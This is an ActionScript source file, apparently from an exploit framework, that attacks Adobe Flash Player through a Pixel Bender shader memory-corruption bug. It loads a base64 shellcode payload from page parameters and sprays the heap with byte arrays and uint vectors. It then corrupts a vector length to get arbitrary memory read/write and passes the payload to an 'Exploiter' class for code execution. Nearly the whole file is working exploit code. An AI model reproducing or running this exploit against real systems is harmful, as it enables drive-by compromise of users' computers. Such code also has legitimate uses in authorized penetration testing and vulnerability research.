238 lines
8.4 KiB
ActionScript
Executable File
238 lines
8.4 KiB
ActionScript
Executable File
package
|
|
{
|
|
import flash.display.Shader
|
|
import flash.display.Sprite
|
|
import flash.display.LoaderInfo
|
|
import mx.utils.Base64Decoder
|
|
import flash.utils.ByteArray
|
|
import flash.geom.Point
|
|
import flash.utils.Endian
|
|
|
|
public class Exploit extends Sprite
|
|
{
|
|
private var uv:Vector.<uint>
|
|
private var canvas:Sprite
|
|
private var filler_shader:Shader
|
|
private var transformation_shader:Shader
|
|
private var top_middle:Point
|
|
private var bottom_left:Point
|
|
private var bottom_right:Point
|
|
|
|
private var b64:Base64Decoder = new Base64Decoder()
|
|
private var payload:ByteArray
|
|
private var platform:String
|
|
private var os:String
|
|
private var exploiter:Exploiter
|
|
|
|
[Embed ( source="test_bin.pbj", mimeType="application/octet-stream" ) ]
|
|
private static var FillerPbj:Class
|
|
[Embed ( source="pbsrc_bin.pbj", mimeType="application/octet-stream" ) ]
|
|
private static var TransformationPbj:Class
|
|
|
|
private var uint_vectors_length:uint = 70000
|
|
private var ba_vector_length:uint = 5000
|
|
private var ba_length:int = 0x2000
|
|
private var uint_vectors:Vector.<Object>
|
|
private var ba_vector:Vector.<Object>
|
|
|
|
public function Exploit()
|
|
{
|
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
|
var pattern:RegExp = / /g;
|
|
b64_payload = b64_payload.replace(pattern, "+")
|
|
b64.decode(b64_payload)
|
|
payload = b64.toByteArray()
|
|
|
|
canvas = new Sprite()
|
|
addChild(canvas)
|
|
var size:uint = 400
|
|
|
|
top_middle = new Point(size / 2, 10)
|
|
bottom_left = new Point(0, size - 10)
|
|
bottom_right = new Point(size, size - 10)
|
|
do_exploit()
|
|
}
|
|
|
|
private function do_exploit():void
|
|
{
|
|
setup_shaders()
|
|
apply_shader_to_exploit()
|
|
}
|
|
|
|
private function setup_shaders():void
|
|
{
|
|
transformation_shader = new Shader(new TransformationPbj())
|
|
|
|
ba_vector = new Vector.<Object>(ba_vector_length)
|
|
uint_vectors = new Vector.<Object>(uint_vectors_length)
|
|
|
|
// Initialize uint vectors
|
|
for(var i:uint = 0; i < uint_vectors_length; i++) // 70000
|
|
{
|
|
uint_vectors[i] = new Vector.<uint>()
|
|
}
|
|
|
|
// Allocate Byte Arrays
|
|
for(i = 0; i < ba_vector_length; i++) // 5000
|
|
{
|
|
ba_vector[i] = new ByteArray()
|
|
ba_vector[i].endian = "littleEndian"
|
|
ba_vector[i].length = ba_length // 0x2000
|
|
fill_byte_array(ba_vector[i], 0x35555555)
|
|
ba_vector[i].writeInt(0xbabefac0)
|
|
ba_vector[i].writeInt(0xbabefac1)
|
|
ba_vector[i].writeInt(i)
|
|
ba_vector[i].writeInt(0xbabefac3)
|
|
}
|
|
|
|
// Make holes
|
|
for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000
|
|
{
|
|
fill_byte_array(ba_vector[i], 0x37777777)
|
|
ba_vector[i].clear()
|
|
ba_vector[i] = null
|
|
}
|
|
|
|
// Setup shader
|
|
filler_shader = new Shader(new FillerPbj()) //test_bin.pbj
|
|
filler_shader.data.point1.value = [top_middle.x, top_middle.y]
|
|
filler_shader.data.point2.value = [bottom_left.x, bottom_left.y]
|
|
filler_shader.data.point3.value = [bottom_right.x, bottom_right.y]
|
|
}
|
|
|
|
final private function fill_byte_array(ba:ByteArray, value:int):void
|
|
{
|
|
ba.position = 0
|
|
var i:uint = 0
|
|
while (i < ba.length / 4)
|
|
{
|
|
ba.writeInt(value)
|
|
i = i + 1
|
|
}
|
|
ba.position = 0
|
|
return
|
|
}
|
|
|
|
private function apply_shader_to_exploit():void
|
|
{
|
|
try {
|
|
filler_shader.data.point3 = transformation_shader.data.positionTransformation27
|
|
} catch(err:Error) {
|
|
Logger.log("Error!")
|
|
}
|
|
|
|
filler_shader.data.color1.value = [1, 1, 1, 1]
|
|
|
|
// Trigger corruption with the hope of modify one of the sprayed byte arrays
|
|
canvas.graphics.clear()
|
|
canvas.graphics.beginShaderFill(filler_shader)
|
|
canvas.graphics.moveTo(top_middle.x, top_middle.y)
|
|
canvas.graphics.lineTo(bottom_left.x, bottom_left.y)
|
|
canvas.graphics.lineTo(bottom_right.x, bottom_right.y)
|
|
canvas.graphics.endFill()
|
|
|
|
// Search the BA whose data has been corrupted
|
|
var test:uint
|
|
var mod_idx:uint = 0xffffffff
|
|
for(var i:uint = 0; i< ba_vector_length; i++) { // 5000
|
|
if (ba_vector[i] != null) {
|
|
ba_vector[i].position = 32
|
|
test = ba_vector[i].readUnsignedInt()
|
|
if (test != 0x35555555) {
|
|
mod_idx = i
|
|
break
|
|
}
|
|
}
|
|
}
|
|
|
|
if (mod_idx == 0xffffffff) {
|
|
Logger.log("[*] Exploit - apply_shader_to_exploit(): Modified ba not found... aborting")
|
|
return
|
|
}
|
|
|
|
// Clear the modified BA, we need a hole there =)
|
|
fill_byte_array(ba_vector[mod_idx], 0x39999999)
|
|
ba_vector[mod_idx].clear()
|
|
ba_vector[mod_idx] = null
|
|
|
|
// Fill the BA space with well positioned Vector.<uint>'s, hopefully...
|
|
for(i = 0; i < uint_vectors_length; i++) // 70000
|
|
{
|
|
uint_vectors[i].length = 0x13e
|
|
uint_vectors[i][0] = 0xcccccccc
|
|
uint_vectors[i][1] = i
|
|
uint_vectors[i][2] = 0xaaaaaaaa
|
|
}
|
|
|
|
// Corrupt again, hopefully one of our vector lengths =)
|
|
canvas.graphics.beginShaderFill(filler_shader)
|
|
|
|
var corrupted:uint = 0xffffffff
|
|
for(i = 0; i < uint_vectors_length; i++) // 70000
|
|
{
|
|
if (uint_vectors[i].length != 0x13e) {
|
|
corrupted = i
|
|
break
|
|
}
|
|
}
|
|
|
|
if (corrupted == 0xffffffff) {
|
|
Logger.log("[*] Exploit - apply_shader_to_exploit(): Corrupted vector not found... aborting")
|
|
return
|
|
}
|
|
|
|
var offset:uint = 0xffffffff
|
|
for(i = 0; i < 2048; i++)
|
|
{
|
|
if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc)
|
|
{
|
|
uint_vectors[corrupted][i] = 0xffffffff
|
|
offset = i
|
|
break
|
|
}
|
|
}
|
|
|
|
if (offset == 0xffffffff) {
|
|
Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector for manual corruption not found... aborting")
|
|
return
|
|
}
|
|
|
|
for(i = 0; i < uint_vectors_length; i++) // 70000
|
|
{
|
|
if (uint_vectors[i].length == 0xffffffff) {
|
|
uv = uint_vectors[i]
|
|
break
|
|
}
|
|
}
|
|
|
|
if (uv == null) {
|
|
Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector manually corrupted not found... aborting")
|
|
return
|
|
}
|
|
|
|
var my_offset:uint = 0x3ffffffe - offset - 2
|
|
uv[my_offset] = 0x13e
|
|
|
|
for(i = 0; i < ba_vector_length; i++) { // 5000
|
|
if (ba_vector[i] != null) {
|
|
ba_vector[i].clear()
|
|
ba_vector[i] = null
|
|
}
|
|
}
|
|
|
|
for(i = 0; i < uint_vectors_length; i++) // 70000
|
|
{
|
|
if (uint_vectors[i].length != 0xffffffff) {
|
|
delete(uint_vectors[i])
|
|
uint_vectors[i] = null
|
|
}
|
|
}
|
|
|
|
exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e)
|
|
}
|
|
|
|
}
|
|
}
|